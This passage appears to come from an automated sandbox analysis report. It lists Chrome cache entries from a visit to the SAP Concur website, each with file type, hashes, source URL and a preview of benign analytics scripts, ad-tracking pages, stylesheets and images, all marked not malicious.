Preview:	wOFFOTTO...\.......T........................CFF ...........H.s..GDEF............SXU.GPOS...x..1.....W.o.GSUB...H.......L.G..OS/2...$...[...`....cmap...........B.:.head...`...6...6,U5Mhhea......#...$....hmtx..........^.5. maxp............YP.name..........dK.{.post...D....... ....x...\T..0<ww.]..,eY... .V.#........(.Rm.'.{K..h....{..%..5.Xb;w..\|s.E.<..y...}..p...3g..iw.B...(J...[b).n.[T..\f).....L+Q.93f./....z.U=G....xW..../P._...1.YFU.Q9.6...h.P..M8..}.". . ..!..!#.F-P.j..P".z..(..b4.MDUh.Z.V..h.............w...E6JN...e.\|.....b.$...FeP.T!UF..fP.%..j..=..:L...P....]...'...R.2Z..iez...O."..%.Re.d.dCd#d....f......m.......].]..=..-.e5r..^....r?y...<V.,.O...........'........7............!.-...Q....E..T...m.Q.DEgE/E.E."OQ.......X.X.X...8.8.8.8..AqW......@;...t3:...#.x...N.3.\....G.....z1...@...G..5.6..~E....q`\.=..4cZ3.L{&.If.1..lf.S.T0c.f...Y.g61;...1..s...<d^3.JZ.Vj.z...W..QvP.)S......C..e.1.I.i..%.......}..3......G.?...V;d......v.v-...

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20426), with no line terminators
Category:	downloaded
Size (bytes):	20426
Entropy (8bit):	5.3336325107838505
Encrypted:	false
SSDEEP:	192:QCYSlzX09IrLtW9rCvasGXEnbXpkzaD8l9mJsQ8pVqBWxMzVVQd7V6tvQ4xS:QCbXxv3MEnKz08Fbqv7Qv2o
MD5:	BEEC939F9E0E3C863E23B6AE77AB205B
SHA1:	C6A0BAA724FD0FB5FF1B7C48E0F32804BEE505AA
SHA-256:	8E196F7AADCC03AC20701C2D7CD9975AFF1A10E3A3704D604B600D7C6ED2CA5A
SHA-512:	0D0EB837F3BE67CA1793CFC199235B1A4C86E07D410BD17DAC158D99CA810A2A3F973D20D91E41429FBDC5F001956F42E1C81B34454F26CEB638CE51B3CD0289
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/28.0df1b30c.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[28],{"1ScA":function(e,t,n){"use strict";n.d(t,"a",function(){return useReflowFrameClassName});var r=n("s8DI"),a=n("QtlZ"),c=n("ILQF"),o=n("g6eD"),s=n("JBtm"),i=n.n(s),u=n("ERkP"),l=n("EQxi"),f=!1;function useReflowFrameClassName(){var e="";if(!f){var t=Object(l.f)(i.a.parse(document.location.search));e=(null===t\|\|void 0===t?void 0:t.isXSScreenSize)?"widget--xs":"",f=!0}var n=Object(u.useState)(e),s=Object(r.a)(n,2),p=s[0],d=s[1],b=Object(u.useState)(void 0),v=Object(r.a)(b,2),g=v[0],h=v[1];return Object(u.useEffect)(function(){Object(c.c)({topic:"CONDUCTOR:reflowFrame",handler:function handler(e){var t=e.data;d(function(){return t.isXSScreenSize?"widget--xs":""}),a.a.dispatch(Object(o.g)(t.isXSScreenSize)),t.clientInnerHeight&&h(function(){return t.clientInnerHeight})}})},[]),{reflowFrameCX:p,clientInnerHeight:g}}},"2uLe":function(e,t,n){"use strict";var r=n("mj2O"),a=n.n(r),c=n("7SM1"),o=n("s8DI"),s=n("8ZCy"),i=n("VkHq"),u=n("ILQF"

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (31985)
Category:	downloaded
Size (bytes):	207040
Entropy (8bit):	5.4572005914060355
Encrypted:	false
SSDEEP:	3072:y62bNbWHF80++NOtFkK/02nyjKKhBe4Rf0vdHlHMIWNbTiB:CbNb8Ft++N/v25KhR2HMI1B
MD5:	53F533FDF71FDB8527AB9FA6641E241B
SHA1:	8CDE78B625D06E4304941EC09EE038C47E4768DC
SHA-256:	95A439C4E11ACE2484E8D42C30FF56CF7DB5EA7C6463DF9CE2FDAFA7F6CCBF54
SHA-512:	D2E2A2EDDD0FBAF3EBCEDDE4B7CD5497BC40BDAD86ECD5A9FA4227E7F0C1DCEDB38867CCB3D004D027F675ED406FE437D2015DA949CA84B95F95A4FEA415075E
Malicious:	false
URL:	https://s.go-mpulse.net/boomerang/56VGK-KZ5VS-7BMLL-58DHU-CTJGD
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ JavaScript MD5 1.0.1 Copyright 2011, Sebastian Tschan. Licensed under the MIT license. /./ Boomerang Version: 1.632.0 139f333a35e2484b05a07930423f1e230719cb95 */..function BOOMR_check_doc_domain(a){if(window){if(!a){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(b){BOOMR.isCrossOriginError(b)\|\|BOOMR.addError(b,"BOOMR_check_doc_domain.domainFix")}a=document.domain}if(a&&-1!==a.indexOf(".")&&window.parent){

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 786x884, components 3
Category:	dropped
Size (bytes):	35926
Entropy (8bit):	7.951771966518728
Encrypted:	false
SSDEEP:	768:zyRxwvfjOI+Ke9dJou2rXfe0t7re3whR6w9SQ8g1sJsBpD3V:zy+Z/e3JoJdUIR6w9SX2pDF
MD5:	2BFFAF8F3D677BDE53B1540506FFBC4B
SHA1:	C18D4B01B97F0926E04A9AB4394BCE46DAAD32ED
SHA-256:	CDE20C12B81AB1672C8FB5320ED23FFCE517E4BFFC28444A4C4398F7745CF4A1
SHA-512:	9759E3B08FEDF5F2018646CDA123A0DBB8D057F2B4E60636B8458850526AA0F74AA7942C122992BE51F242C5801110722956A89C6F9A210A32555DD6AC19E0D4
Malicious:	false
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......t........................................................................................Q.....BW..%r.....6.9.P......H."FH.b......E".!.. ...Z..@.1..C......f.zV..Q.{83 " ..)...!DF..2C.I[..:....R...HJ.....D..E!,H."0..D..". ! .Z......c....R......oN.nm.r..= D.....+%..dLp.h..L..:z.I..4.c".i2K...h "$H..,!.(..T.2,d....A@B....P#.TR .....-.[.:....3a....I!..B.2DH...D.n.ueO:..#...@...%."..#X.$E.K ,.@....E".R..................,(L.>z.....1.I..p."5P30-.+ay\|..@..(.....@2K..0V!A..!...0.F.F.FH.@..HT-@...9K&.n.sz.'9s.\|.@.. ..1..Y...0...."V.Zj..mB""%c...Z...T$mL.J.[!..NFMA...liB..J.,....DT".Dh@.`2f.5Y.z..O.A@..@.:.H..C.D..(H.[94...j."...).J...Z;...2."..,...l...&NP).c.........$.P.2DiB..0.Iv../m3.6<.....@@.$c%.WICPP..P]'B... ).2..S...,..BH.2..#..J..N.sR.udN$....."5..E.".jD..Q."E".Da...@..J.]I..Y2@P.WJ... .)e.p......7..`D....

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (31999)
Category:	dropped
Size (bytes):	170791
Entropy (8bit):	5.323803001385047
Encrypted:	false
SSDEEP:	1536:KM9r5zCrOgD8VVw2QjuLoJjFiCzN0ZjHIdtUxeHiguCP9DrFJokgXTmmmtWBIz6:KozCrOgD8kdeoRlujHIsCPCPDVX
MD5:	4A4938432122C79F90952A54A415CB0D
SHA1:	2A681D0F6372CBDA1F48510947762F11483CC96F
SHA-256:	D12C317FD10CF60035CF5F3F493B094973A653CBD5384F7E8C95D76981F388CE
SHA-512:	692CD61F198D9D00D36D53FA7A239C53B7912A078CB1C45FA9A1155AE515084BBA9C16C7D5B73B2FF7B6E72B8FF8DCF71715385986FFBD31F9C88438FBC1D795
Malicious:	false
Preview:	.; (function () {... function getCookie(c_name) {. var i, x, y, ARRcookies = document.cookie.split(";");. for (i = 0; i < ARRcookies.length; i++) {. x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));. y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);. x = x.replace(/^\s+\|\s+$/g, "");. if (x === c_name) {. return unescape(y);. }. }. }..var ccm_check = getCookie('notice_preferences');..if (typeof ccm_check === "undefined" \|\| ccm_check !== '0:') {../*. @license. * Adobe Visitor API for JavaScript version: 5.2.0. * Copyright 2021 Adobe, Inc. All Rights Reserved. * More info available at https://marketing.adobe.com/resources/help/en_US/mcvid/. */.var e=function(){"use strict";function e(t){"@babel/helpers - typeof";return(e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(t)}fun

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65441), with CRLF line terminators
Category:	downloaded
Size (bytes):	65577
Entropy (8bit):	5.353937566241126
Encrypted:	false
SSDEEP:	768:ezDY9eR7s83Hw4oUnaOGE477KKIY0MnZez7T7nM1En0wEJPddhMHKvOWISQS31F:0DDFs83Hw48ZO7T7nwEYFRQSFF
MD5:	70187A383ADB805DD9FA0F16588B48C8
SHA1:	E1ED844DB90FC16308EAB60276BD9679784D9F01
SHA-256:	30ADBC7E799238C336B56A1E20DB67910F2A114FC3BC6CED6C550B4C873318AA
SHA-512:	C860317CE2F70CF96C9A93F36C7FB608217601CC6E63B45A9F2E9571FDB7C6AA286AF566AE532F23AA054B1D83DAD6097BF5435CF6B8C9C2CAFE750273050B87
Malicious:	false
URL:	https://www.clarity.ms/s/0.7.47/clarity.js
Preview:	/* clarity-js v0.7.47: https://github.com/microsoft/clarity (License: MIT) */..!function(){"use strict";var t=Object.freeze({__proto__:null,get queue(){return sr},get start(){return cr},get stop(){return lr},get track(){return ar}}),e=Object.freeze({__proto__:null,get clone(){return Cr},get compute(){return Dr},get data(){return Er},get keys(){return Or},get reset(){return jr},get start(){return _r},get stop(){return Rr},get trigger(){return Ir},get update(){return Ar}}),n=Object.freeze({__proto__:null,get check(){return Xr},get compute(){return qr},get data(){return Sr},get start(){return Wr},get stop(){return Ur},get trigger(){return Yr}}),a=Object.freeze({__proto__:null,get compute(){return Kr},get data(){return Fr},get log(){return Gr},get reset(){return Zr},get start(){return Br},get stop(){return Jr},get updates(){return Vr}}),r=Object.freeze({__proto__:null,get callbacks(){return $r},get clear(){return ui},get consent(){return oi},get data(){return Qr},get electron(){return ti},

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (973)
Category:	dropped
Size (bytes):	3958
Entropy (8bit):	5.221299613600322
Encrypted:	false
SSDEEP:	96:Tb1O4ZYfqB/gruWQQJU7U8CN98zHUcxftO2+VNgrHSL+X2pKm+2+5VsnRiWA:X1O4Cfq53IN98y0ys7Vsn1A
MD5:	C4263A60B364D9625DE67FB75E0EB608
SHA1:	F825B0838D0F592340F69D5601E859BB157724AA
SHA-256:	E5EE9315807BA3126D3DBC147633F27A6B84CE38361659AA40C0E49FDAE8C24A
SHA-512:	06439C49A9F4C1B396445ECC67D0835E7AA014830D8079E02CEC546FE9BA405EC675C3FC2436115AD9FB259B56EBC2E33702175E5F7955DEBEF948F4E77297BA
Malicious:	false
Preview:	//tealium universal tag - utag.1181 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function(o){var a,b,c,l;a=document;if(o.type==="iframe"){b=a.createElement("iframe");b.setAttribute("height","1");b.setAttribute("width","1");b.setAttribute("style","display:none");b.setAttribute("src",o.src);}else if(o.type==="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.src=o.src;}if(o.id){b.id=o.id;}if(typeof o.cb==="function"){b.hFlag=0;b.onreadystatechange=function(){if((this.readyState==='complete'\|\|this.readyState==='loaded')&&!b.hFlag){b.hFlag=1;o.cb();}};b.onload=function(){if(!b.hFlag){b.hFlag=1;o.cb();}};}l=o.loc\|\|"head";c=a.getElementsByTagName(l)[0];if(c){utag.DB("Attach to "+l+": "+o.src);if(l==="script"){c.paren

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23897), with no line terminators
Category:	dropped
Size (bytes):	23897
Entropy (8bit):	5.309124558333512
Encrypted:	false
SSDEEP:	384:qiH5aLGGy474znD9oSZXH79WfhaONcgnCXg9:XuGGhaXXY5TcgnCXg9
MD5:	CD29B9BC973E48A7FCD0EE7153BDF03B
SHA1:	AC3E5CF1C0D4183B2DF14C34BEBB84B3EE657799
SHA-256:	7CB58278C8F54A62C0AFA6DA0C67B3A45AAD637A0BF614E9C0DD42B73CEE266B
SHA-512:	253356199738322AE0D761A162136D91BA00018B180FF54C4D014C0B8AE4A93F5DD4D21664E8C582A4DB73F0F4265D34604D2B4C03CEF02A67882815ED328C2D
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[52],{jrvE:function(e,t,n){"use strict";var r=n("nfbA"),a=n("cgfC"),i=n("a4gb"),o=n("+nxv"),c=n("usiZ"),s=n("nb4r"),u=n("2nP+"),l=n("AHQf"),d=n("jiYP"),p=n("zgdO"),f=n("bTzN"),v=n("jniC"),_=n("uIJS"),h=n("wQh9"),b=n("yvDu"),m=n("LvsC"),O=n("qytN"),g=n("7jL2"),y=n("LfGp"),j=n("uHEx"),E=n("Iwrg"),k=n("+OSO"),S=n("MiOA"),x=n("8dVd"),w=n("26VM"),T=n("mekd"),R=n("3QMb");function exceptionFromError(e,t){var n=parseStackFrames(e,t),r={type:t&&t.name,value:extractMessage(t)};return n.length&&(r.stacktrace={frames:n}),void 0===r.type&&""===r.value&&(r.value="Unrecoverable error caught"),r}function eventFromError(e,t){return{exception:{values:[exceptionFromError(e,t)]}}}function parseStackFrames(e,t){var n=t.stacktrace\|\|t.stack\|\|"",r=function getPopSize(e){if(e){if("number"===typeof e.framesToPop)return e.framesToPop;if(F.test(e.message))return 1}return 0}(t);try{return e(n,r)}catch(a){}return[]}var F=/Minified React error #\d+;/i;function extr

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (462)
Category:	downloaded
Size (bytes):	854
Entropy (8bit):	5.407522735059558
Encrypted:	false
SSDEEP:	24:pKbEg4WhVOgVCo8mxQnv+2V3wKJUwCXydTue3N4qr:gbEv6OgVC78QnmHKJUruaqr
MD5:	6A0B99B478557408C6281D5612F1257C
SHA1:	B980803203E6E055DAE3DA545234432B3E842193
SHA-256:	7BA76508D3C44D8609C083ADA3A1ACF54546C911E44D32CE82284AD1C7317E7C
SHA-512:	69F7ED9D6DF184F6AEE766F673B1CCD6D467BE850C5C80209FEDFE78074797ECA74B4F88F9D17F6A59EFBCB85C26D7470AB77B42E9766C253847EE47D5B5B8D9
Malicious:	false
URL:	https://tags.tiqcdn.com/utag/concur/concur/prod/utag.132.js?utv=ut4.39.202101210002
Preview:	//tealium universal tag - utag.132 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader,u){try{u=utag.o[loader].sender[id]={}}catch(e){u=utag.sender[id]};u.ev={'view':1};u.qsp_delim=";";u.kvp_delim="=";u.xsp="195742";u.ord="";u.base_url="//pubads.g.doubleclick.net/activity;";u.map={};u.extend=[];u.send=function(a,b,c,d,e,f){if(u.ev[a]\|\|typeof u.ev.all!="undefined"){c=[];for(d in utag.loader.GV(u.map)){if(typeof b[d]!="undefined"&&b[d]!=""){e=u.map[d].split(",");for(f=0;f<e.length;f++){u[e[f]]=encodeURIComponent(b[d]);}}}.if(u.ord==""){u.ord=(b._corder?b._corder:Math.round(Math.random()*100000000));}.c.push("xsp="+u.xsp,"ord="+u.ord);u.img=new Image();u.img.src=u.base_url+c.join(u.qsp_delim)+"?";}}.try{utag.o[loader].loader.LOAD(id)}catch(e){utag.loader.LOAD(id)}})('132','concur.concur');}catch(e){}.

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1111), with no line terminators
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	5.751759021496662
Encrypted:	false
SSDEEP:	24:kHkw8tSyngFuVAOdIcCcEzmZfcEziLEOi/PqjCC5zqinzYjnpRnLxR2+YI:YyLVkczEzXEziL1YnbuO
MD5:	2837E3F36F24A0F5ADEB6DE21092A813
SHA1:	8227588E19794DF8FEFEFA6F104C136926B6E2B4
SHA-256:	A0A3938D5BD93290188B56C2708853A2531B22D52CEAB694918AD9125E5876B8
SHA-512:	403BF80CB7ED0BC28C0B6AEA3D93465821F8A48F3E8F3AF1D0A94955E58CBD93D6F4ECB3E64B438BF7B13382441D6524049A5C3DCA28519D9647796D0DF832D5
Malicious:	false
URL:	https://td.doubleclick.net/td/rul/1044530512?random=1727944905048&cv=11&fst=1727944905048&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":1,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"1j7534983770"}},{"action":0,"expirationTimeInSeconds":2592000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"1j597682920!5b1","additionalBidKey":"KEvOAaVuhcaJlPjxFzAxGFdJiib5pBKMXVLqezXraNw="}}]};</script><script>for(let i of ig_list.interestGroups){try{if(i.action==0){navigator.joinAdInterestGroup(i.interestGroupAttributes,i.expirationTimeInSeconds);}else if(i.action==1){navigator.leaveAdInterestGroup(i.interestGroupAttributes);}}catch(e){navigator.sendBeacon(`https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_join_ig&t

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	7084
Entropy (8bit):	7.953030653550115
Encrypted:	false
SSDEEP:	96:nWv8ak4vtN3L5SAYkyhM3/OaRLZTSfUWMT4wXEkEIvoDnr42+iQcK9GhEKkbINKg:zakWYhM3hIsWMQNI4nr42+9iSvb0
MD5:	3E636AE7ED66D4553D3A905A4758A0FD
SHA1:	89296E4C7B95AA2C8C467D853016D59A5F2979A4
SHA-256:	7F5390E66E7F5CB5BEE68738222994160C65018B9EE24E60F819B119E6919FA2
SHA-512:	3608927DCDD5B89C5A052B7BCF62905E103A07CCF436B48C7690F00DB86255DBBA18FE349BC0877393FC8457D30D46B4CAB4D5EF4D73DA6B6D83C3953B649749
Malicious:	false
URL:	https://www.concur.com/sites/default/files/bridgestone.png
Preview:	RIFF....WEBPVP8X........W..q..ALPH..........%..=NN..=0s..=..#....9...Gdg..N.{.R..E..r..fD..H..5.......'..?gD.m;n..,:.t.Hbxxx..-.....\|..........?>......\|..........?>......\|..........k....k..x<.b^{...p....r.}....C..~.h...D..C.........Q.0...<f..L..9.6..`..2.M.AW.3$.. ....H.f.R.....o.....5...,\..\|.Qr..V....`!...5.....h.. $.......JT...../V8.X.Y............i..A.^!..Gh.p..........Tg.?........3:n..3....:=n`..O..P.+..sm;w....Jl...o<U...X..=<..[.61.nHl.k.>.?....BK......229yC.....z`.........''.H..0.{.&..A.K..3>...U..&v...x...M.TY..{....g........c..umks...L7.......gw...'...=.I....^.....S=...p...p.m.CI.jv+......p...V.........Lmj#yhG_.;;......_...........tx.7.r..Ch....`VZ...i...+.p...r..l..Xu.A..SC.,..Oh......Zr.....O3.......)..0.d......n=.1S/......^...\..2.. {?u....\|U....p....AV.-&...7Df.=....1...)...8...A.....f\....y;O%.&..F.....2....@.%....`,..z......._....C...".......g...Q.... !.f.L9RL"..c%".b6Mq....Oh)..w.C\......?......C0.5E>vT.3Bf;.\...d..

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19858)
Category:	downloaded
Size (bytes):	34195
Entropy (8bit):	5.202723311574235
Encrypted:	false
SSDEEP:	768:D4D+SfFQ9l+EGUTpJT1rJ7nVshLyUhdvudBXu7+zfyJqAoi4a1wOaWpMDRmOPfYv:2GzzKA61Z
MD5:	C0B346A83161ABEB95D65ED9284B58C4
SHA1:	7A9057BC7D2D10D3C676C4F3474AF1A730FA2972
SHA-256:	F461C9AF44D2B88C139A1F61321780A3E4C923AE3F69DF538A2EBCEC0467C237
SHA-512:	B8D2ABA46B257ED74873E23531368AE6B5B287D41F3564728C82A6D9FCC75C0AD004DD1DEDB19CAFB5B71932B05FEED0664905394FED36B8D5E8EB902238FFEE
Malicious:	false
URL:	https://www.concur.com/sites/default/files/css/css_9GHJr0TSuIwTmh9hMheAo-TJI64_ad9Tii687ARnwjc.css
Preview:	.region-footer{width:100%;background:black;padding:25px 0;}.region-footer .block{max-width:1140px;margin:0 auto;width:100%;overflow:visible;padding:0 30px;}.region-footer .block h2{display:none;}.region-footer .block ul{list-style:none;padding:0;margin:0;}.region-footer ul.menu li{margin:0;}.region-footer .block ul li{float:left;}.region-footer ul li.leaf{list-style:none;}.region-footer #block-menu-concur-drupal-footer-supp .menu a,.region-footer #block-menu-menu-concur-footer-fr-support .menu a{color:#999;font-size:1.3rem;margin-right:14px;padding:8px 0 0;text-decoration:none;letter-spacing:1.2px;transition:all .2s ease-in-out;text-transform:uppercase;}.region-footer #block-menu-concur-drupal-footer-soci .menu a,.region-footer #block-menu-menu-concur-drupal-fr-footer-s .menu a{display:inline-block;height:40px;width:40px;margin:7px 14px 7px 0;padding:7px;font-size:1.8rem;background-color:#262626;border-radius:100%;color:#a8a8a8;transition:all .2s ease-in-out;overflow:hidden;text-indent

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1117)
Category:	downloaded
Size (bytes):	3090
Entropy (8bit):	5.379957300043556
Encrypted:	false
SSDEEP:	96:ZHbbR1QEnN5ejImVB/b1ybgEnkXqQJUGwbUBmIWCr:Z7bFnNojImVVMbd3Gs+YM
MD5:	38BD3EF7B0CE39FC2A7C87A6D93B477C
SHA1:	0CD0597A43DB1EFEC6D1CF54754A9C27659B2F18
SHA-256:	8FAE02BB00FCECCA386D619DAA490B7EEC8BE0076408AC2B433F20FBF7EE5922
SHA-512:	4FAA3963B01F7F97CCC962C3896DCC0491D4E75B2927E26299440AB15073C09EEBEBB194D01295900921C17392C0283763D35EDE501C34F033B2564E542C7E10
Malicious:	false
URL:	https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1147.js?utv=ut4.39.202104222333
Preview:	//tealium universal tag - utag.1147 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatech

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6548), with no line terminators
Category:	downloaded
Size (bytes):	6548
Entropy (8bit):	5.973601060328961
Encrypted:	false
SSDEEP:	192:1DY0hf1bT47OIqWb1bMW7A+ys8W7A+ysc:as1T47OIVVMWjyzWjyv
MD5:	99ACEA90B9AAA8B3A681476E32E4CCA9
SHA1:	EFB8DC7C5D695055D4063EC8B2CBB5B9EE065A8D
SHA-256:	EACDED5452F094D5A2DCC10C29EBD6E46BBD0D2B8AD1113E976AFB89312DA4EF
SHA-512:	B97E1C14FCAE463DA11D729B3B734926E9ABE4D4FC3991AC2E304113E1BB4D3BFEADC72565F413FB20B3678EC2DE42F30085A8211ECD75D9A59687A7498F7E25
Malicious:	false
URL:	https://www.googleadservices.com/pagead/conversion/1044530512/?random=1727944905179&cv=11&fst=1727944905179&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=Ly-YCJ_d_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	107348
Entropy (8bit):	5.264039514215191
Encrypted:	false
SSDEEP:	1536:ReqhZjvnk1z3vrsja9cxEf6+6Glby/XJ42qbVTE4wLyPe9VAs:R1hZjKJ1y/Z4rbrwLPVAs
MD5:	114785899CEB423273FCC17AAAD202E9
SHA1:	CE53389286218FE6D7CE1EB86208074C024ACCA5
SHA-256:	C8C302716CF94980A0D77E614D9FB6C430F166B5EF7C42B7C382771955E52BA6
